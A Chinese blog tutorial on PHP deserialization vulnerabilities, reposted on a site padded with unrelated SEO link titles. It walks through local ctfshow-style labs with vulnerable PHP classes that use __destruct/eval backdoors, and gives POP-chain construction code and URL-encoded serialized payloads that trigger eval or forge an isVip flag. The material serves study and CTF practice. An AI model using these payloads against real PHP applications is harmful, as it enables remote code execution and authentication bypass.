当前位置: 首页 > news >正文

全国的网站建设怎么做网站代拍

全国的网站建设,怎么做网站代拍,wordpress 评论头像不显示不出来,网约车多少钱一辆反序列化中生成对象里面的值#xff0c;是由反序列化里面的值决定#xff0c;与原类中预定义的值的值无关#xff0c;穷反序列化的对象可以使用类中的变量和方法 案例分析 反序列化中的值可以覆盖原类中的值 我们创建一个对象#xff0c;对象创建的时候触发了construct方…反序列化中生成对象里面的值是由反序列化里面的值决定与原类中预定义的值的值无关穷反序列化的对象可以使用类中的变量和方法 案例分析 反序列化中的值可以覆盖原类中的值 我们创建一个对象对象创建的时候触发了construct方法输出字符串在程序结束后执行了系统命令ipconfig 我们修改一下条件将创建B()对象的方式使用unserialize()进行传入数据我们可以看到construct()函数没有被执行但是对象销毁的时候还是调用了__destruct()函数执行了系统命令 修改一下源码将ipconfig这个操作使用一个参数进行接收传递我们这样的话我们构造x参数的值的时候我们就可以将这个变量转化为我们想要执行的命令如图 我们可以将cmd命令转化为我们指定的命令例如ver然后修改对应的值我们就可以执行我们想要的命令例如我们想要执行ver命令我们就把ipconfig改成ver并修改参数值即可返回我们想要执行的结果 接下来用几个案例来解释php反序列化的原理 案例分析 案例1 案例源码 ?php error_reporting(0); highlight_file(__FILE__); class test{function __destruct(){echo destruct... br;eval($_GET[cmd]);} } unserialize($_GET[u]); ? 通过代码分析我们可以知道反序列化接收一个数据如果我们想要执行eval函数我们就要触发__destruct()方法为此我们需要创建一个对象即可触发然后再传递一个cmd参数进行命令执行即可 pop构造代码 ?php class test{} $c new test(); echo serialize($c); echo br; echo urlencode(serialize($c)) ? 构造结果 http://127.0.0.1/ctfshow/demo1.php?uO:4:test:0:{}cmdphpinfo(); 执行结果 将phpinfo()改为了system(系统命令)就可以执行系统命令 案例2 案例源码 ?php error_reporting(0); highlight_file(__FILE__); class lemon{protected $ClassObj;function __construct(){$this-ClassObjnew normal();}function __destruct(){$this-ClassObj-action();}}class normal{function action(){echo hello;}}class evil{private $data;function action(){eval($this-data);} }unserialize($_GET[d]); ? 通过代码我们可以看到数据是通过unserialize进行传输为此我们就可以利用传入的参数进行控制代码的显示我们使用我们创建一个序列化的lemon对象将其中的construct函数中的new normal()改为new evil()为后面的命令执行做准备然后因为eval里面传递的是data的值我们可以将其赋值为我们想要执行的命令就可以实现命令执行 pop构造源码 ?php class lemon{protected $ClassObj;function __construct(){$this-ClassObj new evil();} } class evil{private $dataphpinfo();; }echo serialize(new lemon()); ? 因为我们是通过url传参可能在传递的过程中会出现问题为此我们进行URL编码进行url传递 O%3A5%3A%22lemon%22%3A2%3A%7Bs%3A11%3A%22%00%2A%00classObj%22%3BN%3Bs%3A8%3A%22ClassObj%22%3BO%3A4%3A%22evil%22%3A1%3A%7Bs%3A10%3A%22%00evil%00data%22%3Bs%3A10%3A%22phpinfo%28%29%3B%22%3B%7D%7D 结果展示 执行了phpinfo()的效果 本地复现了ctfshow的几个关卡来学习php反序列化 案例3 ?php error_reporting(0); highlight_file(__FILE__);class ctfShowUser{public $usernamexxxxxx;public $passwordxxxxxx;public $isVipfalse;public function checkVip(){return $this-isVip;}public function login($u,$p){if($this-username$u$this-password$p){$this-isViptrue;}return $this-isVip;}public function vipOneKeyGetFlag(){if($this-isVip){include(flag.php);}else{echo no vip, no flag;}} }$username$_GET[username]; $password$_GET[password];if(isset($username) isset($password)){$user new ctfShowUser();if($user-login($username,$password)){if($user-checkVip()){$user-vipOneKeyGetFlag();}}else{echo no vip,no flag;} } 这题和序列化无关根据要求传入username和password的值即可 127.0.0.1/ctfshow/ser1.php?usernamexxxxxxpasswordxxxxxx 结果展示 案例4 ?php error_reporting(0); highlight_file(__FILE__);class ctfShowUser{public $usernamexxxxxx;public $passwordxxxxxx;public $isVipfalse;public function checkVip(){return $this-isVip;}public function login($u,$p){return $this-username$u$this-password$p;}public function vipOneKeyGetFlag(){if($this-isVip){global $flag;include(flag.php);}else{echo no vip, no flag;}} }$username$_GET[username]; $password$_GET[password];if(isset($username) isset($password)){$user unserialize($_COOKIE[user]); if($user-login($username,$password)){if($user-checkVip()){$user-vipOneKeyGetFlag();}}else{echo no vip,no flag;} } 从代码中分析绕过我们要获取flag需要调用vipOneKeyGetFlag(),但是这个函数里面使用了isVip这个变量被赋值为flase又因为传参的时候是通过反序列化接收的cookie的值我们可以通过这个反序列化函数传入一个isVip变量为ture的值然后获取flag pop构造源码 ?php class ctfShowUser{public $usernamexxxxxx;public $passwordxxxxxx;public $isViptrue; } $c new ctfShowUser(); echo serialize($c); echo br; echo urlencode(serialize($c)) ? 为了方便传输我们要进行url编码即 O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D 结果展示 案例5 ?php highlight_file(__FILE__); class ctfShowUser{public $usernamexxxxxx;public $passwordxxxxxx;public $isVipfalse;public function checkVip(){return $this-isVip;}public function login($u,$p){return $this-username$u$this-password$p;}public function vipOneKeyGetFlag(){if($this-isVip){global $flag;if($this-username!$this-password){include(flag.php);}}else{echo no vip, no flag;}} }$username$_GET[username]; $password$_GET[password];if(isset($username) isset($password)){$user unserialize($_COOKIE[user]); if($user-login($username,$password)){if($user-checkVip()){$user-vipOneKeyGetFlag();}}else{echo no vip,no flag;} } 通过代码分析我们可以知道这题的关键就是所给的username的值和password的值相等但是触发条件有不相等我们就需要使用反序列化函数将其中的username和password分别改为不同的值进行传参然后触发条件即可 我们可以构造源码 ?php class ctfShowUser{public $usernamex;public $passwordy;public $isViptrue; } $c new ctfShowUser(); echo serialize($c); echo br; echo urlencode(serialize($c)) ? 为了方便传输我们要进行url编码即 O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A1%3A%22x%22%3Bs%3A8%3A%22password%22%3Bs%3A1%3A%22y%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D 结果展示 案例6 ?php //eval(phpinfo();); error_reporting(0); highlight_file(__FILE__);class ctfShowUser{private $usernamexxxxxx;private $passwordxxxxxx;private $isVipfalse;private $class info;public function __construct(){$this-classnew info();}public function login($u,$p){return $this-username$u$this-password$p;}public function __destruct(){$this-class-getInfo();}}class info{private $userxxxxxx;public function getInfo(){return $this-user;} }class backDoor{private $code;public function getInfo(){eval($this-code);} }$username$_GET[username]; $password$_GET[password];if(isset($username) isset($password)){$user unserialize($_GET[user]);$user-login($username,$password); } 环境复现有点问题在网上找了个结果的截图 写在最后 如有错误请及时指出感谢
http://www.eeditor.cn/news/120170/

相关文章:

  • 漂浮广告网站房屋设计用什么软件
  • 国家合同模板网站青岛企业建站程序
  • 什么是响应式营销型网站建设wordpress删除自豪的
  • 列车营销网站怎么做有创意的营销策划案例
  • 如何查询网站死链网站源码整站打包
  • 备案通过后怎么做网站男生做男生网站在那看
  • 网站开发市场前景中国在数码网站注册域名好 gt
  • 个人做视频网站icp备案网站名称更改
  • 中山做百度网站的公司名称dede网站前台没有图片
  • 丹江口市建设局网站一个空间放多个网站
  • 延边延吉网站建设建设一个公司网站需要什么条件
  • 汕头网站建设哪里找家装风格效果图大全
  • 做游戏奖金不被发现网站广州网站推广公司
  • 房产中介网站模板企业做网站的流程
  • 推广网站怎么做能增加咨询重庆企业网站营销设计
  • 太原网站制作报价河南建设工程造价信息
  • 襄阳网站建设公司哪家好浙江建设网站首页
  • 个人网站如何做网页升级访问站
  • 崇信县门户网站官网服务器搭建网站能ping t
  • 漂亮的网站设计福建省网站建设有限公司
  • 河南郑州做网站汉狮绿色国网app下载地址
  • 手机有软件做ppt下载网站有哪些南昌做网站价格
  • 杭州网站优化方案龙岩网站建设哪里比较好
  • 网站内侧网编网站流量对排名的影响
  • 美橙互联送的网站源代码长春网站如何制作
  • 网站策划书的编写百度竞价优化
  • 上海seo网站推广公司深圳软件开发定制公司
  • 免费网站建设哪个好?网站开发部
  • 网站开发工程师培训班惠阳网站制作公司
  • 自己做视频的网站吗订货系统